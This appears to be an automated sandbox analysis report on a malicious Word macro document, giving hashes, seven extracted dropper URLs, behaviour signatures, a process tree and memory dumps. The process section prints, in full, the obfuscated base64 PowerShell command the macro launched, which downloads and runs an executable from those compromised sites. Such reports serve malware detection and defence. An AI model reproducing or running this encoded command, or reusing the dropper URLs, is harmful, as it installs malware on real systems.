Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    24-05-2024 02:05

General

  • Target

    6d059ee23fecc237fd506ade5186e477_JaffaCakes118.doc

  • Size

    171KB

  • MD5

    6d059ee23fecc237fd506ade5186e477

  • SHA1

    e6b290d6d2c31541013081d6a8f1f873b59cb163

  • SHA256

    309a7c90bf99fbe1b4d1efc8dfc82b8d0b0fdeacdddbb44061abf4ab98ff2320

  • SHA512

    8f83f2644d0c3d764b583d49567b97bdfeb645561d5130d347418f1d30e36747bc3e524f351121145d4f459752afb71d29d2b50c2e8829cea0b0c643de8977ac

  • SSDEEP

    1536:LGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP2hCYey7dL6PhLtHrxM43atHtjb:ZrfrzOH98ipg6HD+3KvoEwuQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://smartfarmsky.com/kdxhp/K/

exe.dropper

https://theonesmartpiano.com/wp-admin/css/colors/modern/W/

exe.dropper

https://www.breedenandsilver.com/wp-content/W3/

exe.dropper

https://blog.workshots.net/bibqcr9/GSB/

exe.dropper

https://lggpm.live/cgi-bin/Yq/

exe.dropper

https://sodalite.life/wp-content/uploads/Fl/

exe.dropper

https://classroom.live/wp-content/OlY/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6d059ee23fecc237fd506ade5186e477_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABaAHEAcQBwADkANwBoAD0AKAAoACcAVQB2AF8AMQBpACcAKwAnAHIAJwApACsAJwBpACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAdQBTAEUAUgBwAFIATwBGAGkATABlAFwAbgB5AGwANAByAFQAVwBcAG8ATgBLAEcAbwBNAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQByAGkAVAB5AFAAcgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAyACcAKwAnACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAeQB2AHMANAByAGcAIAA9ACAAKAAoACcARwA0ACcAKwAnAHoAMgBsAF8AJwApACsAJwBuACcAKQA7ACQAWgA5AGQANgAwADAAZgA9ACgAKAAnAEMAdwB0AG0AJwArACcAYQAnACkAKwAnADMAJwArACcAOQAnACkAOwAkAEsAdwB1AHkAaABpAGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0AHkAWgAnACsAJwBOACcAKQArACcAeQAnACsAJwBsACcAKwAoACcANAByAHQAdwA0ACcAKwAnAHkAWgAnACsAJwBPACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAZwBvAG0AdgA0AHkAJwArACcAWgAnACkAKQAuACIAUgBlAFAAYABsAEEAYABjAEUAIgAoACgAWwBjAGgAQQByAF0ANQAyACsAWwBjAGgAQQByAF0AMQAyADEAKwBbAGMAaABBAHIAXQA5ADAAKQAsACcAXAAnACkAKQArACQAVAB5AHYAcwA0AHIAZwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwANgBfADcAdAA3AG8APQAoACgAJwBEAGEAMAAnACsAJwB2ACcAKQArACcAeAAnACsAJwA1AHoAJwApADsAJABQADMAawA2AGEAcgB0AD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcARQBCAGMATABJAGUATgBUADsAJABTADkAZQAyAG8ANQAwAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAcwAnACsAJwBtAGEAcgB0ACcAKwAnAGYAYQAnACkAKwAoACcAcgBtAHMAawB5AC4AYwAnACsAJwBvAG0AJwArACcALwBrAGQAeABoACcAKQArACgAJwBwAC8ASwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0AGgAJwArACcAZQBvAG4AJwArACcAZQBzAG0AYQAnACsAJwByACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAaQBhAG4AJwArACcAbwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwArACcALwBjAHMAcwAnACkAKwAoACcALwAnACsAJwBjACcAKwAnAG8AbABvAHIAcwAvAG0AJwApACsAKAAnAG8AZAAnACsAJwBlAHIAJwApACsAJwBuAC8AJwArACgAJwBXACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuAGIAcgAnACkAKwAnAGUAJwArACgAJwBlACcAKwAnAGQAZQAnACkAKwAoACcAbgBhACcAKwAnAG4AJwApACsAKAAnAGQAcwAnACsAJwBpAGwAdgBlACcAKQArACgAJwByAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwBvAG4AdABlACcAKwAnAG4AdAAvACcAKwAnAFcAJwApACsAKAAnADMAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwAHMAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGIAbABvAGcALgAnACsAJwB3AG8AcgBrACcAKwAnAHMAaABvAHQAcwAnACsAJwAuAG4AZQB0AC8AJwArACcAYgBpACcAKQArACcAYgAnACsAKAAnAHEAYwByACcAKwAnADkALwAnACsAJwBHACcAKQArACgAJwBTACcAKwAnAEIALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvACcAKwAnAGwAZwAnACkAKwAoACcAZwBwAG0ALgAnACsAJwBsAGkAJwArACcAdgBlAC8AJwApACsAKAAnAGMAJwArACcAZwBpAC0AYgBpACcAKQArACgAJwBuACcAKwAnAC8AWQBxACcAKQArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACcAOgAnACsAKAAnAC8ALwBzAG8AZAAnACsAJwBhAGwAJwApACsAKAAnAGkAdAAnACsAJwBlAC4AbABpACcAKQArACgAJwBmAGUAJwArACcALwB3ACcAKQArACgAJwBwAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwAnACkAKwAoACcAdQAnACsAJwBwAGwAJwApACsAKAAnAG8AJwArACcAYQBkACcAKQArACcAcwAvACcAKwAnAEYAbAAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcABzADoALwAvACcAKwAnAGMAbABhAHMAcwAnACsAJwByAG8AJwArACcAbwAnACkAKwAoACcAbQAuAGwAJwArACcAaQAnACkAKwAoACcAdgAnACsAJwBlAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACcALQBjACcAKwAoACcAbwAnACsAJwBuAHQAZQAnACkAKwAoACcAbgAnACsAJwB0AC8ATwAnACkAKwAoACcAbAAnACsAJwBZAC8AJwApACkALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwB2AHAAXwAzAG0AdAA9ACgAKAAnAEsAJwArACcAdQB4ACcAKQArACcAeAA5ACcAKwAnADcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABUAHAAeQBoAG8AeAAzACAAaQBuACAAJABTADkAZQAyAG8ANQAwACkAewB0AHIAeQB7ACQAUAAzAGsANgBhAHIAdAAuACIARABgAE8AdwBuAGAAbABgAG8AQQBEAGYASQBsAEUAIgAoACQAVABwAHkAaABvAHgAMwAsACAAJABLAHcAdQB5AGgAaQBmACkAOwAkAFcAYgBrAHEAXwByAG0APQAoACcATwAnACsAJwBhACcAKwAoACcAegA5ACcAKwAnAF8AdgAzACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAdwB1AHkAaABpAGYAKQAuACIATABgAGUAbgBHAFQAaAAiACAALQBnAGUAIAAyADUAMwAxADcAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwB3AHUAeQBoAGkAZgApADsAJABOAGoAcQBtADAANgBlAD0AKAAoACcARQAnACsAJwByADAAJwApACsAJwBpACcAKwAoACcAMwAnACsAJwBmAGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AMQB3AHQAaQBfAHcAPQAoACcASAAnACsAKAAnAHAAMwB4AHYAJwArACcANgA2ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHoAcAB4ADQAZgA4AD0AKAAnAEUAZQAnACsAKAAnADYAJwArACcAXwBuADgAJwApACsAJwA0ACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0233594b5bf8d597e6ba9776871108a5

      SHA1

      c3230fdb1e27e8c9399f81172916b81818865465

      SHA256

      95163ee3c68ea396d4f30e8cdc06394982d1da1b78c68c937c5e2fbea81f510f

      SHA512

      a2eeae967704b16f63cab30853e32b21e3e1e533a1148f79bf9f6173ef84adf1b2ad106d89b5d9ac465d6b63f5c97fdfb7585f3642c525f39f498014371385f5

    • memory/1252-32-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-6-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/1252-33-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-31-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-8-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/1252-18-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-17-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-0-0x000000002F661000-0x000000002F662000-memory.dmp

      Filesize

      4KB

    • memory/1252-65-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1252-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1252-7-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/1252-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1252-46-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1252-47-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/1252-48-0x0000000005B80000-0x0000000005C80000-memory.dmp

      Filesize

      1024KB

    • memory/1252-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2716-40-0x0000000002340000-0x0000000002348000-memory.dmp

      Filesize

      32KB

    • memory/2716-39-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB